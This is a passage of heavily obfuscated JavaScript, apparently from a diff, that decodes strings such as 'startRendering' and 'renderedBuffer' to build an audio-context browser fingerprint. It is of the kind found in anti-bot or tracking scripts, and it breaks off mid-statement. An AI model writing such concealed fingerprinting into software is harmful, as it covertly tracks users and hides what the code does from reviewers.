_$Wv = 404; + _$Yv = 460; + _$Ov = 464; + _$Pv = 420; + _$Gv = 440; + _$Zv = 388; + _$Ev = 464; + _$_v = 420; + _$Vv = 444; + _$qv = 440; + _$Hv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv]; + _$oT = _$Hv; + for (_$bT = 0; _$bT < _$oT.length; _$bT++) { + _$Qv = _$kT; + _$Wv = _$oT; + _$Yv = _$bT; + _$Ov = _$Wv[_$Yv]; + _$Pv = 2; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$kT = _$Ev + } + _$Qv = _$oT; + _$Wv = _$LC; + _$Yv = _$iT; + _$Ov = _$Qv[_$Wv](_$Yv); + _$oT = _$Ov; + _$Qv = _$AS; + _$Wv = _$fT; + _$Yv = _$NA; + _$Ov = _$kT; + _$Pv = _$Yv[_$Ov]; + _$Qv[_$Wv](_$Pv); + _$Qv = _$ug; + _$lT = _$Qv; + _$Wv = 1; + _$hT = _$Wv; + _$Qv = _$hT; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$hT = _$Yv; + _$Qv = 1; + _$lT = _$Qv; + _$Qv = _$BC; + _$gT = _$Qv; + _$Qv = _$hT; + _$lT = _$Qv; + _$Qv = 920; + _$Wv = 928; + _$Yv = 776; + _$Ov = 912; + _$Pv = 928; + _$Gv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv]; + _$hT = _$Gv; + for (_$uT = 0; _$uT < _$hT.length; _$uT++) { + _$Qv = _$gT; + _$Wv = _$hT; + _$Yv = _$uT; + _$Ov = _$Wv[_$Yv]; + _$Pv = 3; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$gT = _$Ev + } + _$Qv = _$hT; + _$Wv = _$LC; + _$Yv = _$lT; + _$Ov = _$Qv[_$Wv](_$Yv); + _$hT = _$Ov; + _$Qv = _$_A; + _$Wv = _$gT; + _$Yv = 0; + _$Qv[_$Wv](_$Yv); + _$Qv = _$gg; + _$pT = _$Qv; + _$Wv = 1; + _$yT = _$Wv; + _$Qv = _$yT; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$yT = _$Yv; + _$Qv = 1; + _$pT = _$Qv; + _$Qv = _$BC; + _$wT = _$Qv; + _$Qv = _$yT; + _$pT = _$Qv; + _$Qv = 7536640; + _$Wv = 7602176; + _$Yv = 6356992; + _$Ov = 7471104; + _$Pv = 7602176; + _$Gv = 5373952; + _$Zv = 6619136; + _$Ev = 7208960; + _$_v = 6553600; + _$Vv = 6619136; + _$qv = 7471104; + _$Hv = 6881280; + _$xv = 7208960; + _$Bv = 6750208; + _$Xv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, _$Hv, _$xv, _$Bv]; + _$yT = _$Xv; + for (_$dT = 0; _$dT < _$yT.length; _$dT++) { + _$Qv = _$wT; + _$Wv = _$yT; + _$Yv = _$dT; + _$Ov = _$Wv[_$Yv]; + _$Pv = 16; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$wT = _$Ev + } + _$Qv = _$yT; + _$Wv = _$LC; + _$Yv = _$pT; + _$Ov = _$Qv[_$Wv](_$Yv); + _$yT = _$Ov; + _$Qv = _$NA; + _$Wv = _$wT; + _$Qv[_$Wv](); + _$Qv = function() { + var _$a = _$wK; + var _$e = _$hg; + var _$r = _$lg; + var _$c = _$_j; + var _$v = _$wA; + var _$s = _$bg; + var _$n = _$Rj; + var _$f = _$dK; + var _$t = _$kg; + var _$i = _$og; + var _$o = _$ig; + var _$k = _$tg; + var _$b = _$fg; + var _$l = _$nM; + var _$h = _$ng; + var _$g = _$sg; + var _$u, _$p, _$y, _$w, _$d, _$M, _$I, _$A, _$S, _$m, _$T, _$j, _$C, _$D, _$K, _$Q, _$W, _$Y, _$U, _$O, _$P, _$G, _$N, _$Z, _$z, _$E, _$R, _$_, _$L, _$V, _$q, _$H, _$x, _$B, _$X, _$F, _$J, _$$; + _$u = _$h + _$l + _$i + _$o + _$g + _$t + _$k + _$b; + _$p = _$u; + _$y = function(_$a, _$e) { + var _$r = _$vg; + var _$c = _$DA; + var _$v = _$OA; + var _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y; + for (_$s = 0; _$s < _$a.length; _$s++) { + _$n = _$a; + _$f = _$s; + _$t = _$n[_$f]; + _$i = _$e; + _$o = _$t === _$i; + if (_$o) { + _$n = _$s; + return _$n + } + } + _$n = []; + _$k = _$n; + _$f = _$c + _$r + _$v; + _$b = _$f; + for (_$l = _$b.length - 1; _$l >= 0; _$l--) { + _$n = _$k; + _$f = _$LC; + _$t = _$b; + _$i = _$_C; + _$o = _$l; + _$h = _$t[_$i](_$o); + _$n[_$f](_$h) + } + _$n = _$k; + _$f = _$RC; + _$t = _$BC; + _$i = _$n[_$f](_$t); + _$k = _$i; + _$n = _$b; + _$f = _$_C; + _$t = 5; + _$i = _$n[_$f](_$t); + _$o = _$k; + _$h = _$_C; + _$g = 4; + _$u = _$o[_$h](_$g); + _$p = _$i > _$u; + if (_$p) { + _$n = _$b; + _$f = _$EC; + _$t = _$n + _$f; + _$b = _$t + } + _$n = _$k; + _$f = _$b; + _$t = _$n + _$f; + _$y = _$t; + _$n = []; + _$b = _$n; + for (_$l = _$b.length - 1; _$l >= 4; _$l--) { + _$n = _$b; + _$f = _$LC; + _$t = _$y; + _$i = _$_C; + _$o = _$l; + _$h = _$t[_$i](_$o); + _$n[_$f](_$h) + } + _$n = _$b; + _$f = _$RC; + _$t = _$BC; + _$i = _$n[_$f](_$t); + _$b = _$i; + _$n = _$zC; + _$b += _$n; + _$n = _$ZC; + _$b += _$n; + _$n = _$_C; + _$b += _$n; + _$n = _$zC; + _$b += _$n; + _$n = _$y; + _$k = _$n; + _$n = _$b; + _$y = _$n; + _$n = _$b; + _$f = _$_C; + _$t = 5; + _$i = _$n[_$f](_$t); + _$o = _$k; + _$h = _$_C; + _$g = 7; + _$u = _$o[_$h](_$g); + _$p = _$i > _$u; + if (_$p) { + _$n = _$b; + _$f = _$NC; + _$t = _$n + _$f; + _$b = _$t + } + _$n = _$GC; + _$k += _$n; + _$n = 1; + _$f = -_$n; + return _$f + } + ; + _$w = _$y; + _$d = _$a + _$f + _$n + _$c + _$s + _$r + _$e + _$v; + _$M = _$d; + _$I = _$M; + _$A = _$PC; + _$S = _$I[_$A]; + _$m = _$S; + _$Q = 0; + _$W = _$Q; + _$u = []; + _$Y = _$u; + _$u = _$p; + _$y = _$PC; + _$d = _$u[_$y]; + _$I = 4; + _$A = _$d / _$I; + _$T = _$A; + for (_$U = 0; _$U < _$T; _$U++) { + _$u = _$M; + _$y = _$p; + _$d = _$_C; + _$I = _$W; + _$A = _$y[_$d](_$I); + _$S = _$w(_$u, _$A); + _$K = _$S; + _$W++; + _$u = _$M; + _$y = _$p; + _$d = _$_C; + _$I = _$W; + _$A = _$y[_$d](_$I); + _$S = _$w(_$u, _$A); + _$D = _$S; + _$W++; + _$u = _$M; + _$y = _$p; + _$d = _$_C; + _$I = _$W; + _$A = _$y[_$d](_$I); + _$S = _$w(_$u, _$A); + _$C = _$S; + _$W++; + _$u = _$M; + _$y = _$p; + _$d = _$_C; + _$I = _$W; + _$A = _$y[_$d](_$I); + _$S = _$w(_$u, _$A); + _$j = _$S; + _$W++; + _$u = _$Y; + _$y = _$U; + _$d = _$K; + _$I = _$m; + _$A = _$d * _$I; + _$S = _$m; + _$Q = _$A * _$S; + _$O = _$m; + _$P = _$Q * _$O; + _$G = _$D; + _$N = _$m; + _$Z = _$G * _$N; + _$z = _$m; + _$E = _$Z * _$z; + _$R = _$P + _$E; + _$_ = _$C; + _$L = _$m; + _$V = _$_ * _$L; + _$q = _$R + _$V; + _$H = _$j; + _$x = _$q + _$H; + _$u[_$y] = _$x + } + _$u = _$BC; + _$T = _$u; + for (_$B = 0; _$B < _$Y.length; _$B++) { + _$u = _$Y; + _$y = _$B; + _$d = _$u[_$y]; + _$I = _$bW(_$d); + _$T += _$I + } + _$u = _$NA; + _$y = _$T; + _$d = function() {} + ; + _$u[_$y] = _$d; + _$u = null; + _$NA = _$u; + _$u = _$cg; + _$X = _$u; + _$y = 1; + _$F = _$y; + _$u = _$F; + _$y = 1; + _$d = _$u + _$y; + _$F = _$d; + _$u = 1; + _$X = _$u; + _$u = _$BC; + _$J = _$u; + _$u = _$F; + _$X = _$u; + _$u = 198656; + _$y = 239616; + _$d = 204800; + _$I = 215040; + _$A = 227328; + _$S = 172032; + _$Q = 215040; + _$O = 223232; + _$P = 206848; + _$G = 227328; + _$N = 239616; + _$Z = 237568; + _$z = [_$u, _$y, _$d, _$I, _$A, _$S, _$Q, _$O, _$P, _$G, _$N, _$Z]; + _$F = _$z; + for (_$$ = 0; _$$ < _$F.length; _$$++) { + _$u = _$J; + _$y = _$F; + _$d = _$$; + _$I = _$y[_$d]; + _$A = 11; + _$S = _$I >> _$A; + _$Q = _$bW(_$S); + _$O = _$u + _$Q; + _$J = _$O + } + _$u = _$F; + _$y = _$LC; + _$d = _$X; + _$I = _$u[_$y](_$d); + _$F = _$I; + _$u = _$J; + _$y = done(_$u); + return _$y + } + ; + _$Wv = 100; + _$Yv = setTimeout(_$Qv, _$Wv); + _$MT = _$Yv; + _$Ov = _$rg; + _$IT = _$Ov; + _$Pv = 1; + _$AT = _$Pv; + _$Qv = _$AT; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$AT = _$Yv; + _$Qv = 1; + _$IT = _$Qv; + _$Qv = _$BC; + _$ST = _$Qv; + _$Qv = _$AT; + _$IT = _$Qv; + _$Qv = 909312; + _$Wv = 901120; + _$Yv = 811008; + _$Ov = 909312; + _$Pv = 892928; + _$Gv = 917504; + _$Zv = 884736; + _$Ev = 827392; + _$_v = 950272; + _$Vv = 827392; + _$qv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv]; + _$AT = _$qv; + for (_$mT = 0; _$mT < _$AT.length; _$mT++) { + _$Qv = _$ST; + _$Wv = _$AT; + _$Yv = _$mT; + _$Ov = _$Wv[_$Yv]; + _$Pv = 13; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$ST = _$Ev + } + _$Qv = _$AT; + _$Wv = _$LC; + _$Yv = _$IT; + _$Ov = _$Qv[_$Wv](_$Yv); + _$AT = _$Ov; + _$Qv = _$NA; + _$Wv = _$ST; + _$Yv = function(_$a) { + var _$e, _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M, _$I, _$A, _$S, _$m, _$T, _$j, _$C, _$D, _$K, _$Q, _$W, _$Y, _$U, _$O, _$P, _$G, _$N, _$Z, _$z, _$E, _$R, _$_, _$L, _$V, _$q, _$H, _$x; + try { + _$r = _$MT; + clearTimeout(_$r); + _$r = _$eg; + _$c = _$r; + _$v = 1; + _$s = _$v; + _$r = _$s; + _$v = 1; + _$n = _$r + _$v; + _$s = _$n; + _$r = 1; + _$c = _$r; + _$r = _$BC; + _$f = _$r; + _$r = _$s; + _$c = _$r; + _$r = 235520; + _$v = 221184; + _$n = 215040; + _$t = 202752; + _$i = 206848; + _$o = [_$r, _$v, _$n, _$t, _$i]; + _$s = _$o; + for (_$k = 0; _$k < _$s.length; _$k++) { + _$r = _$f; + _$v = _$s; + _$n = _$k; + _$t = _$v[_$n]; + _$i = 11; + _$o = _$t >> _$i; + _$b = _$bW(_$o); + _$l = _$r + _$b; + _$f = _$l + } + _$r = _$s; + _$v = _$LC; + _$n = _$c; + _$t = _$r[_$v](_$n); + _$s = _$t; + _$r = _$ag; + _$h = _$r; + _$v = 1; + _$g = _$v; + _$r = _$g; + _$v = 1; + _$n = _$r + _$v; + _$g = _$n; + _$r = 1; + _$h = _$r; + _$r = _$BC; + _$u = _$r; + _$r = _$g; + _$h = _$r; + _$r = 1856; + _$v = 1776; + _$n = 1328; + _$t = 1856; + _$i = 1824; + _$o = 1680; + _$b = 1760; + _$l = 1648; + _$p = [_$r, _$v, _$n, _$t, _$i, _$o, _$b, _$l]; + _$g = _$p; + for (_$y = 0; _$y < _$g.length; _$y++) { + _$r = _$u; + _$v = _$g; + _$n = _$y; + _$t = _$v[_$n]; + _$i = 4; + _$o = _$t >> _$i; + _$b = _$bW(_$o); + _$l = _$r + _$b; + _$u = _$l + } + _$r = _$g; + _$v = _$LC; + _$n = _$h; + _$t = _$r[_$v](_$n); + _$g = _$t; + _$r = _$$h; + _$w = _$r; + _$v = 1; + _$d = _$v; + _$r = _$d; + _$v = 1; + _$n = _$r + _$v; + _$d = _$n; + _$r = 1; + _$w = _$r; + _$r = _$BC; + _$M = _$r; + _$r = _$d; + _$w = _$r; + _$r = 26368; + _$v = 25856; + _$n = 29696; + _$t = 17152; + _$i = 26624; + _$o = 24832; + _$b = 28160; + _$l = 28160; + _$p = 25856; + _$I = 27648; + _$A = 17408; + _$S = 24832; + _$m = 29696; + _$T = 24832; + _$j = [_$r, _$v, _$n, _$t, _$i, _$o, _$b, _$l, _$p, _$I, _$A, _$S, _$m, _$T]; + _$d = _$j; + for (_$C = 0; _$C < _$d.length; _$C++) { + _$r = _$M; + _$v = _$d; + _$n = _$C; + _$t = _$v[_$n]; + _$i = 8; + _$o = _$t >> _$i; + _$b = _$bW(_$o); + _$l = _$r + _$b; + _$M = _$l + } + _$r = _$d; + _$v = _$LC; + _$n = _$w; + _$t = _$r[_$v](_$n); + _$d = _$t; + _$r = _$Jh; + _$D = _$r; + _$v = 1; + _$K = _$v; + _$r = _$K; + _$v = 1; + _$n = _$r + _$v; + _$K = _$n; + _$r = 1; + _$D = _$r; + _$r = _$BC; + _$Q = _$r; + _$r = _$K; + _$D = _$r; + _$r = 3735552; + _$v = 3309568; + _$n = 3604480; + _$t = 3276800; + _$i = 3309568; + _$o = 3735552; + _$b = 3309568; + _$l = 3276800; + _$p = 2162688; + _$I = 3833856; + _$A = 3342336; + _$S = 3342336; + _$m = 3309568; + _$T = 3735552; + _$j = [_$r, _$v, _$n, _$t, _$i, _$o, _$b, _$l, _$p, _$I, _$A, _$S, _$m, _$T]; + _$K = _$j; + for (_$W = 0; _$W < _$K.length; _$W++) { + _$r = _$Q; + _$v = _$K; + _$n = _$W; + _$t = _$v[_$n]; + _$i = 15; + _$o = _$t >> _$i; + _$b = _$bW(_$o); + _$l = _$r + _$b; + _$Q = _$l + } + _$r = _$K; + _$v = _$LC; + _$n = _$D; + _$t = _$r[_$v](_$n); + _$K = _$t; + _$r = _$Fh; + _$Y = _$r; + _$v = 1; + _$U = _$v; + _$r = _$U; + _$v = 1; + _$n = _$r + _$v; + _$U = _$n; + _$r = 1; + _$Y = _$r; + _$r = _$BC; + _$O = _$r; + _$r = _$U; + _$Y = _$r; + _$r = 912; + _$v = 808; + _$n = 800; + _$t = 936; + _$i = 792; + _$o = 808; + _$b = [_$r, _$v, _$n, _$t, _$i, _$o]; + _$U = _$b; + for (_$P = 0; _$P < _$U.length; _$P++) { + _$r = _$O; + _$v = _$U; + _$n = _$P; + _$t = _$v[_$n]; + _$i = 3; + _$o = _$t >> _$i; + _$b = _$bW(_$o); + _$l = _$r + _$b; + _$O = _$l + } + _$r = _$U; + _$v = _$LC; + _$n = _$Y; + _$t = _$r[_$v](_$n); + _$U = _$t; + _$r = _$a; + _$v = _$Q; + _$n = _$r[_$v]; + _$t = _$M; + _$i = 0; + _$o = _$n[_$t](_$i); + _$b = _$f; + _$l = 4500; + _$p = 5e3; + _$I = _$o[_$b](_$l, _$p); + _$A = _$O; + _$S = function(_$a, _$e) { + var _$r = _$xS; + var _$c = _$BS; + var _$v = _$SC; + var _$s = _$mC; + var _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M, _$I, _$A, _$S, _$m, _$T, _$j, _$C, _$D, _$K, _$Q, _$W, _$Y, _$U, _$O, _$P, _$G, _$N, _$Z, _$z; + _$h = _$Xh; + _$g = _$h; + _$h = _$g; + _$u = _$PC; + _$p = _$h[_$u]; + _$n = _$p; + _$h = []; + _$y = _$h; + for (_$w = 0; _$w < _$n; _$w++) { + _$h = _$g; + _$u = _$OC; + _$p = _$w; + _$d = _$h[_$u](_$p); + _$f = _$d; + _$h = _$f; + _$u = 65536; + _$p = _$h >= _$u; + _$d = _$p; + if (_$d) { + _$M = _$f; + _$I = 1114111; + _$d = _$M <= _$I + } + if (_$d) { + _$h = _$y; + _$u = _$LC; + _$p = _$f; + _$d = 18; + _$A = _$p >> _$d; + _$S = 7; + _$m = _$A & _$S; + _$T = 240; + _$j = _$m | _$T; + _$h[_$u](_$j); + _$h = _$y; + _$u = _$LC; + _$p = _$f; + _$d = 12; + _$A = _$p >> _$d; + _$S = 63; + _$m = _$A & _$S; + _$T = 128; + _$j = _$m | _$T; + _$h[_$u](_$j); + _$h = _$y; + _$u = _$LC; + _$p = _$f; + _$d = 6; + _$A = _$p >> _$d; + _$S = 63; + _$m = _$A & _$S; + _$T = 128; + _$j = _$m | _$T; + _$h[_$u](_$j); + _$h = _$y; + _$u = _$LC; + _$p = _$f; + _$d = 63; + _$A = _$p & _$d; + _$S = 128; + _$m = _$A | _$S; + _$h[_$u](_$m) + } else { + _$h = _$f; + _$u = 2048; + _$p = _$h >= _$u; + _$d = _$p; + if (_$d) { + _$M = _$f; + _$I = 65535; + _$d = _$M <= _$I + } + if (_$d) { + _$h = _$y; + _$u = _$LC; + _$p = _$f; + _$d = 12; + _$A = _$p >> _$d; + _$S = 15; + _$m = _$A & _$S; + _$T = 224; + _$j = _$m | _$T; + _$h[_$u](_$j); + _$h = _$y; + _$u = _$LC; + _$p = _$f; + _$d = 6; + _$A = _$p >> _$d; + _$S = 63; + _$m = _$A & _$S; + _$T = 128; + _$j = _$m | _$T; + _$h[_$u](_$j); + _$h = _$y; + _$u = _$LC; + _$p = _$f; + _$d = 63; + _$A = _$p & _$d; + _$S = 128; + _$m = _$A | _$S; + _$h[_$u](_$m) + } else { + _$h = _$f; + _$u = 128; + _$p = _$h >= _$u; + _$d = _$p; + if (_$d) { + _$M = _$f; + _$I = 2047; + _$d = _$M <= _$I + } + if (_$d) { + _$h = _$y; + _$u = _$LC; + _$p = _$f; + _$d = 6; + _$A = _$p >> _$d; + _$S = 31; + _$m = _$A & _$S; + _$T = 192; + _$j = _$m | _$T; + _$h[_$u](_$j); + _$h = _$y; + _$u = _$LC; + _$p = _$f; + _$d = 63; + _$A = _$p & _$d; + _$S = 128; + _$m = _$A | _$S; + _$h[_$u](_$m) + } else { + _$h = _$y; + _$u = _$LC; + _$p = _$f; + _$d = 255; + _$A = _$p & _$d; + _$h[_$u](_$A) + } + } + } + } + _$h = _$y; + _$u = _$PC; + _$p = _$h[_$u]; + _$t = _$p; + _$h = _$t; + _$u = 2; + _$p = _$h / _$u; + _$t = _$p; + _$h = []; + _$C = _$h; + _$h = 0; + _$i = _$h; + for (_$D = 0; _$D < _$t; _$D++) { + _$h = _$y; + _$u = _$i; + _$p = _$h[_$u]; + _$b = _$p; + _$h = _$y; + _$u = _$i; + _$p = 1; + _$d = _$u + _$p; + _$A = _$h[_$d]; + _$l = _$A; + _$h = _$i; + _$u = 2; + _$p = _$h + _$u; + _$i = _$p; + _$h = _$b; + _$u = 46; + _$p = _$h - _$u; + _$b = _$p; + _$h = _$l; + _$u = 46; + _$p = _$h - _$u; + _$l = _$p; + _$h = _$l; + _$u = 19; + _$p = _$h * _$u; + _$d = _$b; + _$A = _$p + _$d; + _$k = _$A; + _$h = _$k; + _$u = 11; + _$p = _$h ^ _$u; + _$o = _$p; + _$h = _$C; + _$u = _$D; + _$p = _$o; + _$h[_$u] = _$p + } + _$h = _$BC; + _$K = _$h; + for (_$O = 0; _$O < _$C.length; _$O++) { + _$h = _$C; + _$u = _$O; + _$p = _$h[_$u]; + _$d = _$s + _$v; + _$A = 2; + _$S = _$p[_$d](_$A); + _$Q = _$S; + _$h = _$Q; + _$u = _$LS; + _$p = /^1+?(?=0)/; + _$d = _$h[_$u](_$p); + _$W = _$d; + _$h = _$W; + _$u = _$h; + if (_$u) { + _$M = _$Q; + _$I = _$PC; + _$P = _$M[_$I]; + _$G = 8; + _$u = _$P === _$G + } + if (_$u) { + _$h = _$W; + _$u = 0; + _$p = _$h[_$u]; + _$d = _$PC; + _$A = _$p[_$d]; + _$Y = _$A; + _$h = _$C; + _$u = _$O; + _$p = _$h[_$u]; + _$d = _$s + _$v; + _$A = 2; + _$S = _$p[_$d](_$A); + _$m = _$_S; + _$T = 7; + _$j = _$Y; + _$N = _$T - _$j; + _$Z = _$S[_$m](_$N); + _$U = _$Z; + for (_$z = 0; _$z < _$Y; _$z++) { + _$h = _$C; + _$u = _$z; + _$p = _$O; + _$d = _$u + _$p; + _$A = _$h[_$d]; + _$S = _$r + _$c; + _$m = 2; + _$T = _$A[_$S](_$m); + _$j = _$_S; + _$N = 2; + _$Z = _$T[_$j](_$N); + _$U += _$Z + } + _$h = _$U; + _$u = 2; + _$p = parseInt(_$h, _$u); + _$d = _$bW(_$p); + _$K += _$d; + _$h = _$Y; + _$u = 1; + _$p = _$h - _$u; + _$O += _$p + } else { + _$h = _$C; + _$u = _$O; + _$p = _$h[_$u]; + _$d = _$bW(_$p); + _$K += _$d + } + } + _$h = _$a; + _$u = Math; + _$p = _$K; + _$d = _$e; + _$A = _$u[_$p](_$d); + _$S = _$h + _$A; + return _$S + } + ; + _$m = 0; + _$T = _$I[_$A](_$S, _$m); + _$j = _$u; + _$G = _$T[_$j](); + _$e = _$G; + _$r = _$Bh; + _$N = _$r; + _$v = 1; + _$Z = _$v; + _$r = _$Z; + _$v = 1; + _$n = _$r + _$v; + _$Z = _$n; + _$r = 1; + _$N = _$r; + _$r = _$BC; + _$z = _$r; + _$r = _$Z; + _$N = _$r; + _$r = 819200; + _$v = 860160; + _$n = 942080; + _$t = 811008; + _$i = 909312; + _$o = 901120; + _$b = 901120; + _$l = 827392; + _$p = 811008; + _$I = 950272; + _$A = [_$r, _$v, _$n, _$t, _$i, _$o, _$b, _$l, _$p, _$I]; + _$Z = _$A; + for (_$E = 0; _$E < _$Z.length; _$E++) { + _$r = _$z; + _$v = _$Z; + _$n = _$E; + _$t = _$v[_$n]; + _$i = 13; + _$o = _$t >> _$i; + _$b = _$bW(_$o); + _$l = _$r + _$b; + _$z = _$l + } + _$r = _$Z; + _$v = _$LC; + _$n = _$N; + _$t = _$r[_$v](_$n); + _$Z = _$t; + _$r = _$_A; + _$v = _$z; + _$r[_$v](); + _$r = _$xh; + _$R = _$r; + _$v = 1; + _$_ = _$v; + _$r = _$_; + _$v = 1; + _$n = _$r + _$v; + _$_ = _$n; + _$r = 1; + _$R = _$r; + _$r = _$BC; + _$L = _$r; + _$r = _$_; + _$R = _$r; + _$r = 6400; + _$v = 6720; + _$n = 7360; + _$t = 6336; + _$i = 7104; + _$o = 7040; + _$b = 7040; + _$l = 6464; + _$p = 6336; + _$I = 7424; + _$A = [_$r, _$v, _$n, _$t, _$i, _$o, _$b, _$l, _$p, _$I]; + _$_ = _$A; + for (_$V = 0; _$V < _$_.length; _$V++) { + _$r = _$L; + _$v = _$_; + _$n = _$V; + _$t = _$v[_$n]; + _$i = 6; + _$o = _$t >> _$i; + _$b = _$bW(_$o); + _$l = _$r + _$b; + _$L = _$l + } + _$r = _$_; + _$v = _$LC; + _$n = _$R; + _$t = _$r[_$v](_$n); + _$_ = _$t; + _$r = _$AS; + _$v = _$L; + _$r[_$v]() + } catch (_$a) {} + _$r = []; + _$q = _$r; + for (_$H = 0, + _$x = _$e.length; _$H < _$x; _$H++) { + _$r = _$q; + _$v = _$LC; + _$n = _$e; + _$t = _$OC; + _$i = _$H; + _$o = _$n[_$t](_$i); + _$r[_$v](_$o) + } + _$r = _$q; + _$VW = _$r + } + ; + _$Qv[_$Wv] = _$Yv + } catch (_$a) { + _$Qv = _$kr + _$fr + _$ir + _$br + _$or + _$nr + _$tr; + _$TT = _$Qv; + _$Wv = function(_$a, _$e) { + var _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d; + for (_$r = 0; _$r < _$a.length; _$r++) { + _$c = _$a; + _$v = _$r; + _$s = _$c[_$v]; + _$n = _$e; + _$f = _$s === _$n; + if (_$f) { + _$c = _$r; + return _$c + } + } + _$c = 1; + _$t = _$c; + _$v = 1; + _$s = -_$v; + _$i = _$s; + _$n = 2; + _$o = _$n; + _$f = 0; + _$k = _$f; + _$c = _$t; + _$v = _$i; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$o; + _$v = 3; + _$s = _$c >> _$v; + _$k = _$s; + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s; + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v * _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l; + _$c = _$i; + _$v = _$k; + _$s = _$c / _$v; + _$k = _$s + } + _$c = _$t; + _$v = _$c; + if (_$v) { + _$h = _$i; + _$v = !_$h + } + if (_$v) { + _$c = _$o; + _$v = 3; + _$s = _$c % _$v; + _$k = _$s; + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s + } + _$c = 5; + _$v = -_$c; + _$i = _$v; + _$c = _$t; + _$v = _$i; + _$s = _$c + _$v; + _$n = _$t; + _$f = _$s + _$n; + _$b = 0; + _$l = _$f > _$b; + if (_$l) { + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l; + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s + } + _$c = _$i; + _$v = _$o; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s; + _$c = _$i; + _$v = _$k; + _$s = _$c - _$v; + _$o = _$s + } + _$c = _$t; + _$v = _$k; + _$s = _$c + _$v; + _$n = _$i; + _$f = _$s < _$n; + if (_$f) { + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$i; + _$g = _$b - _$l; + _$u = _$f >> _$g; + _$p = _$k; + _$y = _$u >> _$p; + _$k = _$y + } + _$c = _$o; + _$v = 0; + _$s = _$c < _$v; + if (_$s) { + _$c = _$i; + _$v = _$t; + _$s = _$k; + _$n = _$v / _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$o = _$l + } + _$c = _$o; + _$v = _$k; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s < _$n; + if (_$f) { + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v * _$s; + _$f = _$c << _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l + } + _$c = _$i; + _$v = _$o; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$o; + _$v = 2; + _$s = _$c << _$v; + _$o = _$s; + _$c = _$o; + _$v = _$k; + _$s = _$k; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l; + _$c = _$i; + _$v = _$k; + _$s = _$c / _$v; + _$k = _$s + } + _$c = _$i; + _$v = !_$c; + if (_$v) { + _$c = _$o; + _$v = 2; + _$s = _$i; + _$n = _$v + _$s; + _$f = _$t; + _$b = _$n - _$f; + _$l = _$c << _$b; + _$o = _$l + } + _$c = _$t; + _$v = !_$c; + if (_$v) { + _$c = 5; + _$v = _$o; + _$s = _$c + _$v; + _$n = 3; + _$f = _$s >> _$n; + _$t = _$f + } + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$o; + _$v = 4; + _$s = _$i; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = 3; + _$l = _$i; + _$g = _$b * _$l; + _$u = _$o; + _$p = _$g + _$u; + _$y = _$f >> _$p; + _$w = 2; + _$d = _$y << _$w; + _$k = _$d + } + _$c = 1; + _$v = -_$c; + return _$v + } + ; + _$jT = _$Wv; + _$Yv = _$Cr + _$Dr + _$rr + _$er + _$sr + _$vr + _$cr; + _$DT = _$Yv; + _$Ov = _$DT; + _$Pv = _$PC; + _$Gv = _$Ov[_$Pv]; + _$KT = _$Gv; + _$Zv = 0; + _$PT = _$Zv; + _$Qv = []; + _$GT = _$Qv; + _$Qv = _$TT; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$Ov = 4; + _$Pv = _$Yv / _$Ov; + _$QT = _$Pv; + for (_$NT = 0; _$NT < _$QT; _$NT++) { + _$Qv = _$DT; + _$Wv = _$TT; + _$Yv = _$_C; + _$Ov = _$PT; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$jT(_$Qv, _$Pv); + _$OT = _$Gv; + _$PT++; + _$Qv = _$DT; + _$Wv = _$TT; + _$Yv = _$_C; + _$Ov = _$PT; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$jT(_$Qv, _$Pv); + _$UT = 